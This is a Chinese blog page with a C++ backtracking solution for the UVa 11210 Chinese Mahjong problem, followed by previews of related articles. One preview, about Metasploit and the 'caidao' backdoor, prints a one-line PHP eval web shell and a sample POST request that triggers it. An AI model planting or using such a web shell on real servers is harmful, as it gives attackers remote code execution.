uva11210 Chinese Mahjong

2024-06-12 17:58
文章标签 chinese mahjong uva11210

本文主要是介绍uva11210 Chinese Mahjong,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

接触计算机这么长时间(仔细想想,可能也就1年多吧),第一次觉得中国人还是能占到便宜的。。。。。。

简单的模拟,判断手中的麻将牌是否“下胡”以及缺什么牌,估计老外做这题会花上一段时间读题吧。

基本按照麻将的规则模拟:


#include<cstdio>
#include<cstring>
#include<algorithm>
using namespace std;char hand[4][9],output[4][9][10]={{"1T","2T","3T","4T","5T","6T","7T","8T","9T"},{"1S","2S","3S","4S","5S","6S","7S","8S","9S"},{"1W","2W","3W","4W","5W","6W","7W","8W","9W"},{"DONG", "NAN", "XI", "BEI", "ZHONG", "FA", "BAI"},};
int a,b,ok,have;void dfs(int cur)
{if(ok==1)return ;if(cur==4){ok=1,have=1;printf(" %s",output[a][b]);}int i,j;for(i=0;i<4;i++){for(j=0;j<9;j++){if(hand[i][j]>=3){hand[i][j]-=3;dfs(cur+1);hand[i][j]+=3;}}}for(i=0;i<3;i++){for(j=0;j<7;j++){if(hand[i][j]>=1&&hand[i][j+1]>=1&&hand[i][j+2]>=1){hand[i][j]--,hand[i][j+1]--,hand[i][j+2]--;dfs(cur+1);hand[i][j]++,hand[i][j+1]++,hand[i][j+2]++;}}}
}void slove()
{int i,j,k,t;have=0;for(i=0;i<3;i++){for(j=0;j<9;j++){if(hand[i][j]==4)continue;hand[i][j]++;a=i,b=j;ok=0;for(k=0;k<4;k++)//可以是4{for(t=0;t<9;t++){if(ok==0&&hand[k][t]>=2){hand[k][t]-=2;dfs(0);hand[k][t]+=2;}}}hand[i][j]--;}}for(i=0;i<7;i++){if(hand[i][j]==4)continue;hand[3][i]++;a=3,b=i;ok=0;for(k=0;k<4;k++){for(t=0;t<9;t++){if(ok==0&&hand[k][t]>=2){hand[k][t]-=2;dfs(0);hand[k][t]+=2;}}}hand[3][i]--;}if(have==0)printf(" Not ready");printf("\n");
}int main()
{char input[10];int count=0,all=1,i,j;memset(hand,0,36);while(scanf("%s",input)&&input[0]!='0'){count++;if(input[1]=='T')hand[0][input[0]-'1']++;else if(input[1]=='S')hand[1][input[0]-'1']++;else if(input[1]=='W')hand[2][input[0]-'1']++;else if(strcmp(input,"DONG")==0)hand[3][0]++;else if(strcmp(input,"NAN")==0)hand[3][1]++;else if(strcmp(input,"XI")==0)hand[3][2]++;else if(strcmp(input,"BEI")==0)hand[3][3]++;else if(strcmp(input,"ZHONG")==0)hand[3][4]++;else if(strcmp(input,"FA")==0)hand[3][5]++;else if(strcmp(input,"BAI")==0)hand[3][6]++;if(count==13){//for(i=0;i<4;i++)//{//    for(j=0;j<9;j++)//    printf("%d",hand[i][j]);//    puts("");// }printf("Case %d:",all++);slove();count=0;memset(hand,0,36);}}return 0;
}


这篇关于uva11210 Chinese Mahjong的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1054930

相关文章

无法解决 equal to 运算中 Chinese_PRC_90_CI_AS 和 Chinese_PRC_BIN 之间的排序规则冲突

这是因为数据库 oa 和 hh 的编码格式不一样导致的 select  groupname as oper_id,name as oper_name from security_users where name collate Chinese_PRC_CI_AS not in (select oper_name from PDA_UsersAndPWD )

跟《经济学人》学英文:2024年6月15日这期 Chinese electric vehicles (EVs)

The EU hits China’s carmakers with hefty new tariffs Duties will only hold them back for a while 欧盟对中国汽车制造商征收高额新关税 hit: 对xxx施加 在句子"The EU hits China’s carmakers with hefty new tariffs"中,“hits”的意思是

Llama3-8B-Chinese-Chat 聊天机器人

Llama3-8B-Chinese-Chat 聊天机器人 1. 创建虚拟环境2. 安装 pytorch3. 安装 transformers 和 gradio4. 开发 ui 代码5. 运行 ui 代码6. 访问 web ui 1. 创建虚拟环境 conda create -n llama3-chinese python=3.11 -yconda activate llama3-

使用Unsloth微调Llama3-Chinese-8B-Instruct中文开源大模型

微调Llama3-Chinese-8B-Instruct 微调是指在大规模预训练的基础模型上,使用特定领域或任务数据集进行少量迭代训练,以调整模型参数,提升其在特定任务上的表现。这种方法可以充分利用预训练模型的广泛知识,同时针对特定应用进行优化,达到更精准高效的效果。 Llama-3-Chinese-8B-Instruct Llama-2已经表现的很出色了,但其仅使用了2万亿Toke

HDU 3026 Chinese Chess 二分匹配(TLE...)

求有多少个点,满足不选这个点最大匹配减少,超时了,挖个坑, 以后实力够了在来填坑。。。 #include <cstdio>#include <cstring>#include <vector>using namespace std;const int maxn = 10010;const int maxm = 10010;bool vis[maxn];int y[maxn];in

HDU1788 Chinese remainder theorem again【中国剩余定理】

题目链接: http://acm.hdu.edu.cn/showproblem.php?pid=1788 题目大意: 题目前边的描述是多余的。。。一个正整N除以M1余M1-a,除以M2余M2-a,除以M3余M3-a, 即除以Mi余Mi-a(a < Mi < 100),求满足条件的最小的数。 思路: 这是一道中国剩余定理的基础题。由题目得出N % Mi + a = Mi,即

论文笔记 | Simplify the Usage of Lexicon in Chinese NER

作者:刘锁阵 单位:燕山大学 论文地址:https://www.aclweb.org/anthology/2020.acl-main.528.pdf 代码地址:https://github.com/v-mipeng/LexiconAugmentedNER 文章目录 背景介绍Softword特征Lattice-LSTM 模型设计字符表示层合并词典信息ExSoftword特征Soft

论文笔记 | Attention Is All Y ou Need for Chinese Word Segmentation

作者:景 单位:燕山大学 论文来源:EMNLP2020 代码地址 关于分词任务   中文分词(CWS)是在句子中划分单词边界的任务,对于中文和许多其他东亚语言来说,这是一项基本和必要的任务——对于中文来说,进行交流的基本单位是汉字,每个汉字均有各自的意思,且当不同的汉字进行组合后还会产生新的含义。英语中词的最基本单位是字母(letter),但英语日常使用的基本单位是词(word)

Metasploit - crack chinese caidao php backdoor

Backdoor Request PHP Backdoor:     <?php @eval($_POST["OP"]);?> HTTP Request:     POST /bk.php     ....     op=phpinfo(); If it's successful, phpinfo page will show us.ASP Backdoor:     <%ev

hdu4431 Mahjong 枚举搜索。。

japanese麻将什么玩意。。都没有豪华七对。。。 没什么难的 就是枚举搜索了 分三种类型的胡牌 f1是七对 f2是十三幺 f3是普通的胡牌 就先找一对 再找三个三个的 就是一直超时。。在峰峰的指导下加了好多剪枝 注释都标出来了。。这样才过 而且好慢。。 #include <iostream>#include <cstring>#include <string>#inc